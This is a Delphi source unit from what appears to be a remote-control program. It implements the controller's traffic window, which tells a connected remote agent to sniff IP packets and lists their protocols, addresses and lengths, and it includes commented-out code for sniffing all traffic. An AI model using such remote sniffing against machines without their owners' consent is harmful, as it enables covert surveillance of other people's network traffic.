unittraffic.pas

不错的远程控制程序

unit UnitTraffic;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  Menus,
  StdCtrls,
  ComCtrls,
  ExtCtrls,
  Sockets,
  CompressionStreamUnitForms,
  Winsock, Buttons, ImgList;

type
  TTraffic = class(TForm)
    ListView1: TListView;
    Panel1: TPanel;
    CheckBox1: TCheckBox;
    SpeedButton1: TSpeedButton;
    ImageList1: TImageList;
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure Clear1Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
//    procedure ick(Sender: TObject);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
    MainSocket: TCustomWinSocket;
  end;

implementation

{$R *.dfm}

uses
  UnitMain,
  UnitWindows;

const
  M_TYPE = 1;
  M_INFO = 1;
  M_CONNECT = 2;
  M_PING = 3;
  R_ADDRESS = 999999;

const
  T_TYPE = 10;
  T_START = 1;
  T_STOP = 2;
  T_LIST = 3;

function TTraffic.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then CheckBox1.Caption := ' 断开连接';
  end;
  Result := Connected;
end;

function Split(Input: string; Deliminator: string; Index: Integer): string;
var
  StringLoop, StringCount: Integer;
  Buffer: string;
begin
  StringCount := 0;
  for StringLoop := 1 to Length(Input) do
  begin
    if (Copy(Input, StringLoop, 1) = Deliminator) then
    begin
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
  end;
  Result := Buffer;
end;

procedure TTraffic.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Traffic: TTraffic;
  ConnectionInfo: TConnectionInfo;
begin
  Traffic := TTraffic(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Traffic.RemoteAddress then Exit;
  if Traffic.DataSocket = nil then Traffic.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := T_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Traffic.Connected := True;
  Traffic.ListView1.Cursor:=crDefault;
  Traffic.CheckBox1.Enabled := True;
  Socket := nil;
end;

procedure TTraffic.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
type
  iph = record
    ip_verlen: Byte;
    ip_tos: Byte;
    ip_len: Word;
    ip_id: Word;
    ip_offset: Word;
    ip_ttl: Byte;
    ip_protocol: Byte;
    ip_checksum: Word;
    ip_saddr: LongWord;
    ip_daddr: LongWord;
  end;
var
  Traffic: TTraffic;
  Header: iph;
  ListItem: TListItem;
begin
  Traffic := TTraffic(Data);
  if Traffic.DataSocket = Socket then
  begin
    try
      case CommandFrame.Command of
        T_LIST:
          begin
            Stream.Position := 0;
            Stream.ReadBuffer(Header, SizeOf(iph));
            ListItem := Traffic.ListView1.Items.Add;
            case Header.ip_protocol of
              IPPROTO_IP:
                begin
                  ListItem.Caption := 'IP';
                end;
              IPPROTO_ICMP:
                begin
                  ListItem.Caption := 'ICMP';
                end;
              IPPROTO_IGMP:
                begin
                  ListItem.Caption := 'IGMP';
                end;
              IPPROTO_GGP:
                begin
                  ListItem.Caption := 'GGP';
                end;
              IPPROTO_TCP:
                begin
                  ListItem.Caption := 'TCP';
                end;
              IPPROTO_PUP:
                begin
                  ListItem.Caption := 'PUP';
                end;
              IPPROTO_UDP:
                begin
                  ListItem.Caption := 'UDP';
                end;
              IPPROTO_IDP:
                begin
                  ListItem.Caption := 'IDP';
                end;
              41:
                begin
                  ListItem.Caption := 'IPV6';
                end;
              IPPROTO_ND:
                begin
                  ListItem.Caption := 'ND';
                end;
              78:
                begin
                  ListItem.Caption := 'ICLFXBM';
                end;
              IPPROTO_RAW:
                begin
                  ListItem.Caption := 'RAW';
                end;
            else
              begin
                ListItem.Caption := IntToStr((Header.ip_protocol));
              end;
            end;
            ListItem.SubItems.Add(inet_ntoa(in_addr(Header.ip_daddr)));
            ListItem.SubItems.Add(inet_ntoa(in_addr(Header.ip_saddr)));
            ListItem.SubItems.Add(IntToStr(ntohs(Header.ip_len)));
          end;
      end;
    finally
      Socket := nil;
    end;
  end;
end;

procedure TTraffic.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Traffic: TTraffic;
begin
  Traffic := TTraffic(Data);
  if Traffic.DataSocket = Socket then
  begin
    Traffic.Connected := False;
    Traffic.CheckBox1.Caption := ' 断开连接';
    Traffic.CheckBox1.Enabled := False;
    Traffic.CheckBox1.Checked := False;
    Socket := nil;
    Traffic.DataSocket := nil;
  end;
end;

procedure TTraffic.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TTraffic.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TTraffic.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TTraffic.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TTraffic.CheckBox1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
  if not CheckBox1.Enabled then Exit;
  if not SocketConnected then Exit;
  if CheckBox1.Checked then
  begin
    CommandFrame.len := 0;
    CommandFrame.Command := T_START;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end
  else
  begin
    CommandFrame.len := 0;
    CommandFrame.Command := T_STOP;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end;
end;

procedure TTraffic.FormCloseQuery(Sender: TObject;
  var CanClose: Boolean);
begin
  CanClose := not CheckBox1.Checked;
end;

procedure TTraffic.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TTraffic.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TTraffic.Clear1Click(Sender: TObject);
begin
  ListView1.Clear;
end;

{procedure TTraffic.SniffAddress1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  Socket: TCustomWinSocket;
  ReplyStream: TMemoryStream;
  Sniffer: TSniffer;
begin
  CommandFrame.len := 0;
  CommandFrame.Command := M_CONNECT;
  CommandFrame.ID := FRAME_ID;
  if not Assigned(ListView1.Selected) then Exit;
  Socket := MainSocket;
  if not Assigned(Socket) then Exit;
  Sniffer := TSniffer.Create(Application);
  Sniffer.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
  Sniffer.SnifferAddress := ListView1.Selected.SubItems.Strings[0] + ':' + ListView1.Selected.SubItems.Strings[1];
  Sniffer.WindowItem := Window.ListView1.Items.Add;
  Sniffer.WindowItem.Data := Sniffer;
  Sniffer.WindowItem.Caption := '嗅探数据';
  Sniffer.WindowItem.SubItems.Add(Split(Sniffer.RemoteAddress, ':', 1));
  Sniffer.WindowItem.SubItems.Add(Split(Sniffer.RemoteAddress, ':', 2));
  Sniffer.Show;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Main.SendStream(Socket, ReplyStream);
end;

procedure TTraffic.SniffAll1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  Socket: TCustomWinSocket;
  ReplyStream: TMemoryStream;
  Sniffer: TSniffer;
begin
  CommandFrame.len := 0;
  CommandFrame.Command := M_CONNECT;
  CommandFrame.ID := FRAME_ID;
  Socket := MainSocket;
  if not Assigned(Socket) then Exit;
  Sniffer := TSniffer.Create(Application);
  Sniffer.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
  Sniffer.SnifferAddress := '*:*';
  Sniffer.WindowItem := Window.ListView1.Items.Add;
  Sniffer.WindowItem.Data := Sniffer;
  Sniffer.WindowItem.Caption := '嗅探数据';
  Sniffer.WindowItem.SubItems.Add(Split(Sniffer.RemoteAddress, ':', 1));
  Sniffer.WindowItem.SubItems.Add(Split(Sniffer.RemoteAddress, ':', 2));
  Sniffer.Show;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Main.SendStream(Socket, ReplyStream);
end; }

procedure TTraffic.SpeedButton1Click(Sender: TObject);
begin
ListView1.Clear;
end;

end.